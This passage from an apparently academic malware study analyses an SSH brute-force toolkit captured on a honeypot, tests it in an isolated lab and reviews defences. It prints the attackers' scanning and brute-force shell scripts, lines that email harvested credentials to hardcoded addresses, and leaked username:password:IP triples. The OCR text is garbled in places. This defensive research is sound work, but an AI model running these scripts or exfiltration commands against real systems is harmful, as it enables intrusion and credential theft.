andcurl . Attackers have no access to the tools they daadhlget the tools remain

available to researchers for analysis.

In addition to the phishing sites and botnet taoentioned in the Introduction, a
large variety of other malicious tools have beeltected including backdoor programs,
denial-of-service toolkits, root exploits, and seescanning tools, such as thebmin

SSH brute-force toolkit analyzed in this section.

A.7 Static Analysis of webmin

Thewebmin toolkit was downloaded to the honeypot on theraéien of January
24, 2008 by an attacker using an IP address reggste a Romanian telecommunications
company. Based on the referer data in the hondgpgdiles, the attacker followed a link
returned by a search for “phpshell.php” on GoogR@manian Web search site. After
issuing a few exploratory commands, the attackevnilmaded a single tape archive, or

tar file, namedweb.tgz , to the honeypot from a Romanian Web hosting site.

The web.tgz archive contains one directory, namedbmin, which in turn
contains 16 files of various kinds. These inclugte text files, five shell scripts, and six
binary executable files. Figure 12 below showslgligiing of thewebmin directory as it
appears after the archive is opened. Detailed nmition on the files contained in the

toolkit is provided in the following paragraphs.

-rwx--X--X 1 csguest csguest 366 2005-10-24 14:5 6 a
-rwxr-xr-x 1 csguest csguest 11324 2005-11-11 16:5 3 a2
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-rwxr-xr-x 1 csguest csguest 673 2005-11-11 16:3 2a3
-rwx--X--X 1 csguest csguest 206 2004-07-21 20:5 2 auto
-rwxr-xr-x 1 csguest csguest 22354 2004-12-01 18:3 1 common
-rwxr-xr-x 1 csguest csguest 265 2004-11-24 18:2 1 gen-pass.sh
-rwx--X--x 1 csguest csguest 92 2005-04-06 13:5 7 go.sh
-r-xr-xr-x 1 csguest csguest 2417 2005-05-26 00:2 6 pass_file
-rwxr-xr-x 1 csguest csguest 2377 2007-08-23 20:5 7 pass_filec
-rwxr-xr-x 1 csguest csguest 2270 2005-05-26 10:1 2 pass_filees
-rwxr-xr-x 1 csguest csguest 167964 2001-03-16 11:4 7 pico
-rwx--X--x 1 csguest csguest 21407 2004-07-21 17:5 8 pscan2
-rwx--X--x 1 csguest csguest 453972 2004-07-12 14:0 9ss
-rwxr-xr-x 1 csguest csguest 842424 2004-09-06 06:2 0 sshf
-rwxr-xr-x 1 csguest csguest 842736 2004-11-24 07:3 4 ssh-scan
-rwxr-xr-x 1 csguest csguest 5715 2007-12-22 14:3 7 start

Figure 12. Listing of the webmin directory.
A.7.1The text files

The text files contained in the kit are named, common pass_file

pass_filec , andpass_filees

« The file a3 contains an informational banner that appears ravige
information regarding its associated scanning tobhe text appears to be
in Romanian, and includes some credit information the tool kit's

apparent developer. Figure 13 below shows the ot this file.

¢ common contains 3,342 words, one per line, which appareepresent
commonly-used passwords. The word list containedhis file can be

found in Appendix E.

 Thepass_file , pass_filec , andpass_filees files each contain a
number of username/password pairs, one pair per litterestingly, the
contents opass_file  exactly match the username/password pairs found

in the most frequently observed version of Dictigad68, described in
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the previous section. We believe that the presehtas file in a captured
malware toolkit provides strong evidence to suppuetinference of attack
dictionaries, based on the collected username/madspairs observed in
attacks. The filepass_filec andpass_filees are variations on the
pass_file  dictionary. Each of these files is quite similaith a number

of additional username/password pairs added aetide The contents of

all three of these files are presented in AppefRdix

Clear

echo "Tatal nostru care esti pe internet,"
echo "Sfinteasca rooterele tale,"

echo "Fie fibra ta optica,"

echo "Faca-se conexiunea ta!"

echo "Si da-ne noua viteza pe care o avem noaptea s i ziva!"
echo "Si ne iarta noua conturile pirat"

echo "Precum si noi iertam facturile providerilor n ostri"

echo "Si nu ne duce pe noi spre flood si ne izbaves te de lag!"
echo "HHHHH AT R R R R R
echo "#now.. let's get started with thease little m ass shit#"
echo "#Made by: Glu #"
echo "#Greets to:MiKuTuL,Serano,Cortez and all #lin ux-team #"

eChO "HHHHHIHHIHH A R HHAHHHHHR"

Figure 13. Listing of the text file a3.
A.7.2The shell scripts and binary executables

The five script files included in theebmin toolkit are designed to automate the
process of port sweeping and SSH brute-force atagking a combination of other
scripts and/or the included binary executable filgsch of these scripts will be described

in detail in the paragraphs that follow, along witile binary executables they employ.

Shell script gen- pass. sh. The first script, nameden-pass.sh , accepts two
file names as command line arguments: 1) a lisisefnames, and 2) a list of passwords.
The script loops through these files and writesrneme/password pairs, separated by

spaces, into a new text file, callpdss_file . This is, of course, the name of one of the
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included text files containing username/passwoitsmiescribed above. Figure 14 below

shows a listing of the filgen-pass.sh

#!/bin/bash

users=$1;

pass=$2;

if [ ! -f "$users" -0 ! -f "$pass” ] ; then
echo "File not found";
exit;

fi

rm -f pass_file
for m_user in $(cat $users) ; do
for m_pass in $(cat $pass) ; do
echo "$m_user $m_pass" >>pass_file
done

done

Figure 14. Listing of the shell script gen-pass.sh.

Shell script a. This script, a listing of which is shown in Figut&, accepts one
command line argument, a Class B network prefig. (28.153 ). The script passes this
network address, along with the constaat(the default TCP port for SSH services) to
the binary executablpscan2 , a widely known port sweep tool also containedhe
toolkit. The McAffee Avert® Labs Threat Library [M34] listed a tool with the same
name and byte count in December 2004, as partet af files which were described as

a Linux/Portscan tool.

The results of the port sweep are written to a fiét named according to the
network’s Class B addreseefwork address + “.pscan.22 "), after which the contents
are sorted and all unique written to a new filepnedmfu.txt . Information on the total
number of IP addresses responding to the scarsasaaitput to the display, after which
the binary executablgsh-scan is invoked. (Thessh-scan file, for which no source

code or other detailed static analysis informat®ravailable, will be described in the
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Dynamic Analysis section, which follows this seatipFinally, the script cleans up after

itself, removing the two text files created by et sweep tool.

#!/bin/bash
if [$#!=1]; then
echo " usage: $0 <b class>"
exit;
fi
echo "# Go planet..!"
Jpscan2 $1 22
sleep 10
cat $1.pscan.22 [sort [unig > mfu.txt
oopsnr2="grep -c . mfu.txt’
echo "# found $oopsnr2 servers"
echo" "
echo "# Good Luck!"
Issh-scan 100
rm -rf $1.pscan.22 mfu.txt
echo "thats all.. wanna play again?"

Figure 15. Listing of the shell script a.

We performed an Internet search using several kedsvivom this script and its
associated binaries and discovered numerous repbdgstem compromises involving
tools invoked by it. In one case [PLO5], the systmiministrator provided a listing of a
hidden directory namedh , from his system that contains many of the sanezwable
files and associated text files described abovés dimectory listing is shown in Figure

16 below.

[root@server .aJ# Is —la

total 4172

drwxr-xr-x 3 admin4 admin4 380 Jul 25 08:24 .
drwxrwxrwt 3 root root 60 Jul 24 20:42 ..

-rw-r--r-- 1 admin4 admin4 36500 May 26 03:12 204.2 02.pscan.22
-rw-r--r-- 1 admin4 admin4 157918 May 27 07:45 66.3 3.pscan.22
-rw-r--r-- 1 admin4 admin4 319673 May 28 06:31 66.3 4.pscan.22
-rw-r--r-- 1 admin4 admin4 93288 May 29 05:43 66.37 .pscan.22
-rw-r--r-- 1 admin4 admin4 4096 May 29 06:51 66.38. pscan.22
-rwxr-xr-x 1 admin4 admin4 1373863 Apr 7 23:30 atac

-rw-r--r-- 1 admin4 admin4 1251700 Apr 8 01:27 bios xt

-rw-r--r-- 1 admin4 admin4 21378 Apr 8 00:47 common
drwxr-xr-x 2 admin4 admin4 160 May 17 2004 d

-rwxr-xr-x 1 admin4 admin4 265 Nov 24 2004 gen-pass .sh
-rwxr-xr-x 1 admin4 admin4 2310 May 26 00:52 Index. php
-rw-rw-r-- 1 admin4 admin4 48322 May 13 15:51 log.b igsshf
-rw-rw-r-- 1 admin4 admin4 62427 May 14 00:48 pass_ file
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-PWX------ 1 admin4 admin4 21407 Jul 21 2004 pscan2

-rWX------ 1 admin4 admin4 472 May 13 16:25 scan

-rwxr-xr-x 1 admin4 admin4 842736 Nov 24 2004 ssh-s can
-rw-r—r-- 1 admin4 admin4 288 Jul 25 04:21 vuln.txt

Figure 16. Directory listing of malware files on acompromised Linux system.

There are several striking similarities between directory listing in Figure 16
and the contents of thveebmin toolkit. For example, the names, modification datnd
byte counts for the filegen-pass.sh , pscan2 , andssh-scan correspond exactly. In
each instance, there is a file nanpeds_file  and another namegmmon In addition,
the listing in Figure 16 contains five files of thert generated by the shell script from the
output of the pscan2 port sweep tool described above04.202.pscan.22

66.33.pscan.22 ,66.34.pscan.22 ,66.37.pscan.22 , and66.38.pscan.22

The last file shown in this listing is namedain.txt. It is apparently
generated by thessh-scan tool and contains what appears to be a listing of
username/password pairs and IP addresses that suecessfully compromised. The
contents of this file were also provided in theerehced report and are shown in Figure

17 below.

cat vuln.txt
benz:benz:66.36.254.61
benz:benz:66.36.254.62
benz:benz:66.36.254.63
benz:benz:66.36.254.64
benz:benz:66.36.254.66
benz:benz:66.36.254.68
friend:friend:64.66.92.38
butch:butch:66.54.156.10
butch:butch:66.54.156.18
butch:butch:66.54.156.9
butch:butch:66.54.156.13
butch:butch:66.54.156.14

Figure 17. Listing of file vuln.txt on a compromisel Linux system.
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Shell script aut o. This script, the contents of which are shown iguiFe 18
below, also takes a Class B network, as well agiptdile name, as arguments and loops
through values in the range 0-255, representing adsociated class C networks. It
appends network addresses as arguments in caliwther executable file, namaskh .
When theaut o script completes, the new script file, named kg $kcond argument, is

ready for use in an attack on the specified Clasgt/ork.

Unfortunately, assh was not included in thevebmin archive and Internet
searches for the script's source code were unssfttedBased on the information
provided in [MCO04],assh is a fairly large (605 bytes) shell script. Whits exact
contents are unknown, the way it is used inatinte script indicates strongly that it is an
SSH scanning tool. Given thassh was not included in the toolkit, theuto script

would be useless to the attacker.

Echo

echo "Enter A class range"

read brange

echo "Enter output file"

read file

crange=0

while [ $crange -It 255 ] ; do
echo -n "./Jassh $brange.$crange ; " >> $fil e
let crange=crange+1

done

Figure 18. Listing of the shell script auto.

Shell script st art. This script is a port sweep and SSH scanning twblich
seems to have been written by a fairly unskilledgpemmer. It accepts one command
line argument, a Class B network address; howeliere is no code to confirm that this
argument, which is required for the shell scripfuaction, is actually supplied. It first

displays a banner similar in many ways to the di3¢ described in Section 4.1.1 above.
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The script then checks for the existence of thgpsar described at the beginning of this

section. If script exists, thestart ~ script continues executing; otherwise it ends.

The first three shell commands are callatgpa2, anda3. The fileal is missing
from the toolkit, so its function is unknown. THike is referenced only this once, so it
seems likely that its function is not critical. &thpts to locate the source for a file by this

name through Internet searches were unsuccessful.

Thea2 file is a small (11,324 bytes) binary executallee Running thestrings
command on this file reveals the following linetekxt which, if supplied as an argument
to the Cexec() function, would send the fileuln.txt via email to a specific

hardcoded email address:
cat vuln.txt |/usr/sbin/sendmail vrajeallal23@yahoo.com

Interestingly, a similar command to send the filén.txt to a different hardcoded

email address is included at regular intervalfienghell script itself:
cat vuln.txt |mail -s "Root’'S Hacked By #moc Team" datacorz@gmail.com
Thus, all vulnerabilities detected during the seamuld be sent to both email addresses.

That the initial mail command is “buried” in an exgable file and is directed to a
different address than the one used in the scrgyt snggest that the person who
developed this particular brute-force SSH attaditstet intended to secretly benefit from
its use by unskilled attackers. Similar tacticsewecently employed in a number of
easy-to-use phishing site kits that were freely mloadable via the Internet. Obscure
entries in the sites’ configuration files surreptitsly forwarded sensitive data collected

from phishing sites to the developer’'s own ematlrads [NEO8]. Alternatively, the
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attacker who downloaded the toolset to our honeggt simply have been unaware of

the email command included in th2 binary.

Finding hardcoded email addresses in malware taalglead one to believe that
it would be possible to use this information tac&geople involved in scams and attacks.
In fact, our first impulse was to contact the pdmrs to have the email accounts disabled.
We were surprised to learn that at least some gmaiiders assume no responsibility for
the activities of their account holders. For exampk shown in the partial screen shot in
Figure 19 below, Google directs potential victimhscams or fraud involving Gmail

accounts to seek assistance elsewhere, dependihg oature of the activity.

: 1| Help Center
Grail

Google Hels = Gmail Help = Privacy & Security

Grail Dverview

Wihat's Mew

Scams and fraud involving Gmail accounts

If your credit card was used without your authorization, we recommend contacting your
local authorities, your credit card company, and any website where the credit card was

Grnail Blog used,

Gmail Help Center

Gmail Stories If you have observed or been the victim of illicit activity on a non-Google website (j.e.

For Organizations Craigslist, Ebav, F'aﬁ,r[_:ual, and Dthe_r sites], you'll need to contact your local authorities
and the specific website that was involved.

Create an Account

In either case, wou may also wish to file a report with the Internet Crime Caomplaint
Center (www.ic3. qov], a partnership between the Federal Bureau of Investigation and the
Mational White Collar Crime Center. Unfartunately, Gmail is unable to participate in
mediations involving third parties, or track suspicious credit card activity.

Getting Started Guide

If you wish to inguire about @ Gmail account's invalvement in a scam or identity theft
case, please note that in accordance with state and federal law, it is Google's policy
only to provide this information pursuant to a valid third party subpoena or other
appropriate legal process.

updated 2/20/2008

Figure 19. Gmail Help Center page on scams and fral
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In the remainder of th&tart  script, the Class B network specified on the
command line is attacked using the scaiptescribed above, in blocks of ten Class C
networks at a time. At the end of each block, tles &2 anda3 are invoked in turn, and
the filevuln.txt  is directed via the mail command to the address
datacorz@gmail.com . Of course, the same file would be emailed toytit®o.com

address hidden in the fik.

The script’s functionality could have been codesilgdy a moderately skilled
programmer using a loop structure. Instead, thieeerginge of the Class C network block
has been laboriously coded, line by line, througlhle script. It is for this reason we

estimate that the person who wrote this scriptlstively unskilled.

Because of its length, only a limited excerpt @fdtart  script is shown in
Figure 20 below, to give an idea of its structumnd &unction. The full text is provided in
Appendix G. Figure 21 shows how the same scriptdchave been coded with a simple

loop, reducing its size from 361 to 41 lines withahange in functionality.

if [ -fa]; then
Jal

Ja2

Ja3

cat vuln.txt |mail -s "Root’S Hacked By #moc Team" datacorz@gmai l.com
Ja$1.0
Ja$1.1

Ja $1.2

Ja $1.3
Ja$1.4

Ja $1.5

Ja $1.6

Ja $1.7

Ja $1.8

Ja $1.9

Ja $1.10

Ja2

Ja3
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cat wvuln.txt |mail -s "Root’S Hacked By #moc Team" datacorz@gmai l.com

Figure 20. Excerpt of the shell script start.

Clear

echo "Tatal nostru care esti pe internet,"
echo "Sfinteasca rooterele tale,"

echo "Fie fibra ta optica,"

echo "Faca-se conexiunea ta!"

echo "Si da-ne noua viteza pe care 0 avem noaptea s i ziva!"
echo "Si ne iarta noua conturile pirat"
echo "Precum si noi iertam facturile providerilor n ostri"
echo "Si nu ne duce pe noi spre flood si ne izbaves te de lag!"
echo "HHBHH HHHHAHHHH"
echo "#now.. let's get started with thease little m ass shit#"
echo "#Made by: NOName and ProtecteD by #moc Team  #"
echo "#Greets to:NOName The Master Of Univers = #mo ¢ HacK's #"
echo "HHBH I HHHHAHHHH"
if [ -fa]; then

Jal

Ja2

Ja3

cat vuln.txt |mail -s "Root’S Hacked By #moc Team " datacorz@gmail.com

Ja $1.0

x=1

while [ $x -It 255 ]; do

Ja $1.$x
if [ $((x % 10)) =0 ]; then
Ja2
Ja3
cat vuln.txt |mail -s "Root’S Hacked By #moc team" \

datacorz@gmail.com
fi
x=$((x + 1))
done
Ja2
.Ja3
Ja $1.255
killall -9 a
else
echo # Ciudat ..Nu Ai Urmat Instructiunile #
echo # trebui dat mv assh a sau mv scana #
echo # orice ai avea tu ... dohh .. #
killall -9 a
killall -9 pscan2
fi

Figure 21. Modified version of shell script start.
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Shell scriptgo. sh. This is the last—and the smallest—shell scripnfbin the
webmin archive. It consists of just four lines of coddiieh are shown in the listing in

Figure 22 below.

/ss 22 -b $1 -1 eth0 -s 6

cat bios.txt |sort | uniq > mfu.txt
.Issh-scan 50

rm -f bios.txt

Figure 22. Listing of the shell script go.sh.

Thego.sh script’s first line invokes a binary executable fnamedss , which is
also contained in the archive. By name and byt@tdhbess file corresponds exactly
with a file contained in the McAffee Avert® Labs rEat Library entry [MCO04]
referenced above. After examining the strings enfile and conducting an Internet
search, we were able to locate the source codé&y¥iNascan tool [SE04], some version
of which was likely used to produce tbe binary. We based this judgment on the strong
correspondence between the options used in the aachto invoke this file and the
common misspelling of the wordterface (as “inteface™) found in both files. The full

source code listing is provided in Appendix H.

The options specified in the script’s invocatiortluéss file are the following:

22 (the TCP port to be swept)

* -b$1 (aClass B network, given as an argument to thptsto be

swept)
 -leth0 (the network interface to be used)

* -s6 (a“speed” setting for the port sweep, which iedained by the

number of “burst packets” used and a timeout sptigtween bursts)
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It should be noted that, based on analysis of thpiens and the source code
listing referenced above, the tool appears to use raw sockets, rather than@ie T
connect() system call to probe its targets. As a resultpmmthis tool would require
root privileges on any system where it is used.cdf@dirmed this fact during dynamic

analysis of thas tool, the details of which are discussed in the section.

In the second line of the script, the contents filtanamedios.txt  are sorted,
repeated lines removed, and the resulting linegemrio a new file, namedfu.txt
The filebios.txt  is presumably produced by the activity of tisebinary executable,

while mfu.txt  is required in a subsequent step in the script.

The following line invokes another executable bynfde found in the archive,
namedssh-scan , with the argumerg0. This file is familiar from the directory listingf
the compromised system shown in Figure 16. By nanoelification date, and byte
count, the filessh-scan found in thewebmin archive corresponds exactly with a file
shown in that directory listing. We were unablddcate any likely source code fsgh-
scan ; however, a search of the strings contained irikhe@ising thestrings command

revealed the following familiar file names:

* wulntxt  (the file listed in Figure 17, which appears totain

username/password pairs and IP addresses fromrablaesystems)

* mfutxt (A file evidently produced from bios.txt, which@gars to

contain the output from thes binary executable)
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* pass_file (The name of a file in theebmin archive containing
username/password pairs. A file by the same namlsasshown in the

listing of the compromised system in Figure 16.)

Finally, in the last line of the script, the fibos.txt , referenced in the second
line, is deleted from the system. Interestinglgréhappears to be no mechanism in this
toolset for communicating the results of the parésp and SSH probe to the attacker by
email or other means. Thus, an attacker would teéatward that information manually
by other means, or he could immediately exploiteuhble servers as they are

discovered. We will continue our analysis of thusltin the following section.

A.8 Dynamic Analysis of go.sh

In the previous section, we statically analyzedwledmin toolkit as a whole. In
this section, we look at one tool from webnyn,sh , in more detail. Specifically, we
run thego.sh tool and report the results of this dynamic asialpf the SSH brute-force
attack tools invoked in thgo.sh shell script. We chose this tool for dynamic asay

for several reasons:

This toolset is complete; there are no missing comepts, unlike the

scriptsa, auto , andstart

* The toolset calls binaries for which we don’'t haeairce code, so actually

running the tool was important to understandindutstion

* This toolset does not depend on a working emaiesesr other external

system components for complete operation

* The script is short, simple and of good overalllqua
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We conducted our tests on an isolated network stingiof three low-end PCs
running Ubuntu Linux. One of these machines wagdased as the attacker. The two
remaining PCs were used as attack targets andnudtglexed, using the free VMWare
Player. We installed and configured two virtual imaes running Ubuntu Linux on each
of the target machines. Thus, our isolated testetgork offered a total of six Linux
systems acting as potentially vulnerable hosts. dfitbe targets were purposely seeded
with vulnerable username/password pairs listethénattack dictionaries included in the
toolset. The network diagram in Figure 23 belowsttates our dynamic testing network
setup. The testing network was disconnected fraxc#dmpus network for the duration of

all dynamic tests.

Virtual machines

11 12 21 22

Target . Target Attacker
10.10.10. 10|52 Hf0.10.10.20 [E=h10.10.10.123
| |11} |
£ '“'”'-'- S JUL Switch
Campus
Metwork

Figure 23. Dynamic testing network diagram.

We first attempted to run the script without roat/peges to test our theory that
thess scanner uses raw sockets, and would thereforéreeguot privileges to run. See

Figure 21 for a screenshot showing the commanddileg. We ran the script with one
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command line argument, as required, specifyinglass B network address for our
isolated testing environment. On startup,dfiescanner first confirms the parameters set

by the supplied arguments in the first line of skeept go.sh, shown in Figure 20 above:
» The IP addresses to be scanned: 10.10.*.*

* The timeout and burst packet parameters for a spettidg of 6: 30,000
usec and 50 burst packets (See the source code list thess tool at
Appendix | for more information on the parametensvarious speed

settings)
* The network interface to be used for the port swetyd

As shown in Figure 24, an error message immedi&dyws, indicating that the
effective user ID is not zero, which is the userfdDthe root user. The subsequent line
is also an error message, which results from thpt&cinability to sort and pipe unique
lines from the file produced by tle tool: bios.txt . Finally, there is a line of text
which is apparently in the Romanian language. Téxsis produced by thesh-scan

tool in each case when it is run.
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File Edit View Terminal Tabs Help
curly@curly-desktop:~/webmin$ ./go.sh 18.18
scanning network 10.18.*%.%

usec: 30008, burst packets 50

using inteface ethe

ERROR: UID != @

cat: bios.txt: No such file or directory
Toata dragostea mea pentru diavolaltiltl
curly@curly-desktop:~/webmins |:|

Figure 24. An attempt to run go.sh without root prvileges.
We then ran the script with tlsedo command, which provides the default user
with root privileges. The script then executed gseeted. See Figure 25 for an excerpt of

the command line dialog.

Upon successful startup, the tool outputs some additional information,
including the TCP flags set in the outgoing packasswell as their source and
destination ports (which appear to be reversed)|Rraddress of the network interface
used, as well as the process ID (PID) of the scantaol. After iterating through the first
several Class C networks in the specified rangkowitresults, the scanner successfully
identifies the IP addresses of the six hosts rin8i8H servers on our isolated network:
10.10.10.20 ,10.10.10.10 ,10.10.10.11 ,10.10.10.12 ,10.10.10.21 ,and

10.10.10.22 , after which the scan continues.
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curly@curly-desktop:~/webmin$ sudo ./go.sh 10.10
scanning network 10.10.*.*

usec: 30000, burst packets 50

using inteface eth0

using "(tcp[tcpflags]=0x12) and (src port 22) and ( dst port 61695)" as
pcap filter

my detected ip on ethO is 10.10.10.123
capturing process started pid 31495
scanning 10.10.0.*

scanning 10.10.1.*

scanning 10.10.2.*

scanning 10.10.3.*

scanning 10.10.4.*

scanning 10.10.5.*

scanning 10.10.6.*

scanning 10.10.7.*

scanning 10.10.8.*

scanning 10.10.9.*

scanning 10.10.10.*

10.10.10.20

10.10.10.10

10.10.10.11

10.10.10.12

10.10.10.21

10.10.10.22

scanning 10.10.11.*

Figure 25. A successful run of the go.sh script.

Figure 26 below shows an excerpt of a network tcd¢he scan of one of the
target systems used in the test. This trace wésctetl using the Wireshark network
protocol analyzer, running on one of the targetesys. The first three listed TCP
segments comprise the scan of the host with 1Peaddr0.10.10.12 by the attacking host,

with IP 10.10.10.123.

The attacker first sends a TCP segment with the 8&d\set to the destination
host’s SSH port. It should be noted that this segroentains only a tiny fraction of data
normally present in a TCP segment, a strong inidisdhat this is a specially crafted
packet, not produced by the TCP stack. The tagggtands with SYN/ACK, to which the

attacker replies with a TCP reset segment. Tha fiacket from the attacking host is
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generated automatically by the TCP stack on tlaektig host, as the required response

to an unsolicited (by the TCP stack) SYN/ACK padkes1].

"4 attack_trace.pcap - Wireshark

9=

Eile Edit Vew Go Capture Analvee Statistics  Help
Boweee p@Ex%a Res»oF s BEAQQB]

Filter: Itbp ¥  Expression... Clear gpply

Time Source Destination Protocol | Info

51

96.503023  10.10.10.123 . ' 50421 > ssh [ACK] Seg=1 ack=l win=5856 Len=

4

0000 00 B0 47 05 33 23 00 O0c 29 T7 d% 30 05 00 45 00 L.G.E#.. DL 0L LE.
0010 00 30 00 00 40 00 40 06 12 24 0a 0a 0a 16 0a 0a FERTRY Rl g S
0020 0a Fhb 00 16 fO £f 4e OF 78 ee &7 5d 2c¢ BF FO 12 P T

0030 16 d0 7 a2 00 00 02 04 05 b4 01 01 04 02 siiieins avanas

| File: "Fi\Thesislstoffimos_stuffiatiack_trace.poap” 269 KB OD:11:26 | P: 92050D; 31260M: 0

Figure 26. Network trace of a SYN scan.

The IP address of each host that responds withRaSYXON/ACK is written to the
file bios.txt . When all the IP addresses in the specified nétwanrge have been
scanned and the addresses of active hosts recohngefdle mfu.txt  is produced, as

described in the previous section, anddttescan tool is invoked.

Because we were unable to locate source code fweiknow less about the
functioning of thessh-scan tool. Dynamic testing revealed that it requires fike
mfu.txt , which is produced by thes scanner. Attempting to russh-scan  without
this file in the present working directory only greces an error messageé(tie-|
mfu.txt ") . Also required is a file nameghss_file , containing username/password

pairs to be used during login attempts.
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When invoked with all its requirementsh-scan  attempts to log in to all hosts

listed in the filemfu.txt , using the username/password pairs listgzh#s_file , As

shown in the partial process listing in Figure @ hew thread is created for each targeted

host. Information on successful login attemptsiamaediately displayed to the user, as

shown in the command line dialog provided in Fig28e

ariyizcurly=-desklop welb

Fle Edt W\iew Terminal Tabs Help

curly 5115 4953 Febls ? 00:00:00 /usr/lib/evolution/2.12/evolutio/~
curly 5119 44953 Febls 7 00:008:82 trackerd

curly 5122 4933 Febls 7 B6:00:80 python fusr/share/system-config-
curly 5124 4953 Febl5 ? 00:80:00 nm-applet --sm-disable

curly 5129 1 Febl5 7 B0:00:00 gnome-power-manager

curly 5136 1 Febls ? B0:80:00 fusr/lib/gnome-applets/trashappl
curly 5148 1 Febls ? BO:80:00 fusr/lib/nautilus-cd-burner/mapp
curly 5174 1 Febl5 ? B0:80:80 Sfusr/lib/fast-user-switch-applet
curly 5176 1 Febls 7 B0:00:082 fusr/bin/python fusr/lib/deskbar
curly 5178 1 Febls ? BO:80:80 fusr/lib/gnome-applets/mixer app
curly 30802 1 13:37 ? 00:00:04 gnome-terminal

curly 36804 30802 13:37 7 B0:00:00 gnome-pty-helper

curly 308605 308602 13:37 pts/e B0:00:80 bash
7

curly 31215 1 13:53 7 BO:890:82 gnome-terminal

curly 31218 31215 13:53 7 B0:00:00 gnome-pty-helper

curly 31219 31215 13:53 pts/1 B8:08:80 bash

root 31523 1 14:21 pts/@ Ba:00:80 ./ssh-scan 50

root 31524 1 14:21 pts/@ 00:80:80 ./ssh-scan 50

root 31525 1 14:21 pts/@ B8:80:80 ./ssh-scan 58

root 31526 1 14:21 pts/o B0:00:80 ./ssh-scan 50

root 31527 1 14:21 pts/@ Pe:90:80 ./ssh-scan 50

root 31528 1 14:21 pts/@ B0:80:80 ./ssh-scan 58 B

N HEHONMEPODOOIDOODOODOOOO0OEOE

curly 31531 31219 14:21 pts/1 Bo:00:80 ps -ef
curly@curly-desktop:~/webming [

Figure 27. Process listing of ssh-scan threads.

curly@curly-desktop:~/webmin$ L-amPrins... ! ->sta ff;staff:10.10.10.20

Figure 28. Reports of successful login attempts lire ssh-scan tool.

In this instance, the tool was able to log intotl@®s10.10.20  with username
staff and passwordtaff , and into host0.10.10.10  with usernameales and

passwordsales . A duplicate login for this latter host is alspogted. The reason for this
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duplication is not known. In addition to displayitigs information dynamically, all
successful logins are also recorded to a file namidxt . The contents of this file
and those ofnfu.txt  following a test run on our isolated network anewn in Figure
29 below. In its final step, thgp.sh script removes the filgios.txt ~ from the local

directory.

Thego.sh script appears to be a highly efficient tool. Tokl time required to
port sweep an entire Class B network and then att&68 login attempts on each of six

hosts was just under 8-%2 minutes.

curly@curly-desktop:~/webmin$ cat mfu.txt

10.10.10.10

10.10.10.11

10.10.10.12

10.10.10.20

10.10.10.21

10.10.10.22 curly@curly-desktop:~/webmin$ cat vuln. txt
DUP sales:sales:10.10.10.10

sales:sales:10.10.10.10

staff:staff:10.10.10.20

Figure 29. Contents of files produced by the ss argsh-scan tools.
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5. Evaluation of Common Defenses Against SSH Attacks

Having collected and analyzed a large amount & datbrute-force SSH attacks,
we now offer an evaluation of a variety of mitigeti techniques that are commonly
recommended for protecting SSH servers, in lighttre insights gained from our

research. We also suggest some additional deférasegses based on our study data.

Enforcing strong passwords with password checking nppgrams or libraries.
Much has been written on what constitutes a stpasgword. A quick Web search turns
up a long list of sites offering advice on this itopOne such site is Microsoft
Corporation’s page: “Strong passwords: How to eeaitd use them” [MIO6]. The advice
offered on this page reflects the broad consengtiseocriteria that constitute a strong

password:
* Make it lengthy
» Combine letters, numbers, and symbols.

» Use words and phrases that are easy for you toméere but difficult for others

to guess

Microsoft’s site also offers a six-step tutoriat feating a strong, memorable password.
The final step includes a link to Microsoft's Passt Checker tool [MI08], a utility that

helps users determine the strength of candidatyoads.

While many resources are available for helping sisdioose strong passwords,
the challenge for many system administrators igetbtheir users to actually select and
use strong passwords. Fortunately, password-chgdkinaries that can prevent users

from choosing weak or vulnerable passwords areiljeadailable. Perhaps the most
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commonly used are the Openwall Project’'s pam_pags\WwdM module [PLO8] and the

cracklib library [CRO8].

The pam_passwdqc module is simple to install, igtdnfigurable, provides
support for passphrases, and subjects candidawvpads to a number of checks
including minimum password length and the presenfeweak substrings. The

pam_passwdqgc module can also generate random passwo

The cracklib module provides for similar checkingandidate passwords are
tested for strings related to the username and G@#& as well as simple patterns and
dictionary words. Administrators can also incorperehecks against password lists. The
cracklib project Web site provides one such ligtjoln currently contains more than 1.6
million words culled from a variety of sources, luding the passwords captured in our

honeypots.

We believe that enforcing strong passwords is digune most important step
system administrators can take to protect SSH sefu@m brute-force password attacks.
As noted in the SANS Institute’s most recent Seagurisks report [SA07a], even fully
patched systems are vulnerable to brute force madsguessing attacks. Password-
checking libraries such as cracklib can preventrsudeom inadvertently choosing
vulnerable passwords such as those based on #eimames. Cracklib’s ability to check
password choices against restricted systematicoappes to generating passwords is
every bit as important, we believe. Our researawshthat a significant percentage of
malicious login attempts are based on dictionaneasernames and passwords. While
the majority of these passwords are obviously wegkany standard, we observed a

significant percentage of “strong” passwords beisgd in some attacks. Collecting and
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using attack dictionaries in password checking loalp users avoid selecting passwords

vulnerable to compromise, regardless of their peecestrength.

Avoiding easily guessed username®ur results show that the usernames in
malicious login attempts that target the accountseal users consist almost exclusively
of first names. The use of account names basedoorbinations of surnames with
initials, or similar schemes that produce lesslgasiessable account names can do much
to complicate the job of brute-force attackers. Egample, the usernanmvensjp
would be much more difficult for an attacker to gsi¢han usernames suchjases or
jim . Unfortunately, many organizations publish staffectories including email
addresses that make the username generation sgh&meo even casual Web visitors.
One suggested method to avoid publicizing the geioer scheme for usernames is to
support email aliases that do not resemble acamarnames. For example, the user Jim
Owens, whose username is owensjp could use the jahaowens@clarkson.edu as his
email address. Publicizing this information in alily-available directory provides no
information on the username. In addition, emadsds are readily supported by all major
email systems, so little additional overhead isuined in creating or updating user

accounts.

Disabling logins via SSH for the root account. It has long been considered
good security practice to disable logins via SSHlfe root account. As noted above, one
of the first challenges faced by attackers engagdatute-force SSH attacks is that of
obtaining or guessing valid user account names.rdbeaccount is an obvious target,
since it is known to exist on all Unix/Linux systenBy disabling SSH logins to root,

system administrators complicate the job of thacki#r. Even when root logins via SSH
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are disabled, these login attempts fail silently.tBe attacker has no way of knowing
whether these attempts have any chance of succedflia non-privileged account is
compromised, the attacker gains a foothold on ¥is¢éemn and may be able to gain full

privileges through a local root exploit.

Our results show that the root account was target@® percent of all malicious
login attempts. Therefore, by disabling acces$i® @dccount, system administrators can
render useless a significant percentage of makctoaffic. Successfully targeting other
user accounts requires some research, a bit ofdodke attacker’s part, a high volume

of login attempts, or a combination of all three.

Running the SSH server on a non-standard high port. SSH servers
conventionally listen on TCP port 22, but there nsthing to prevent system
administrators from configuring SSH servers toelisbn any other unused port among
the 65,535 ports provided by the TCP protocol.tAd SSH server systems we are aware
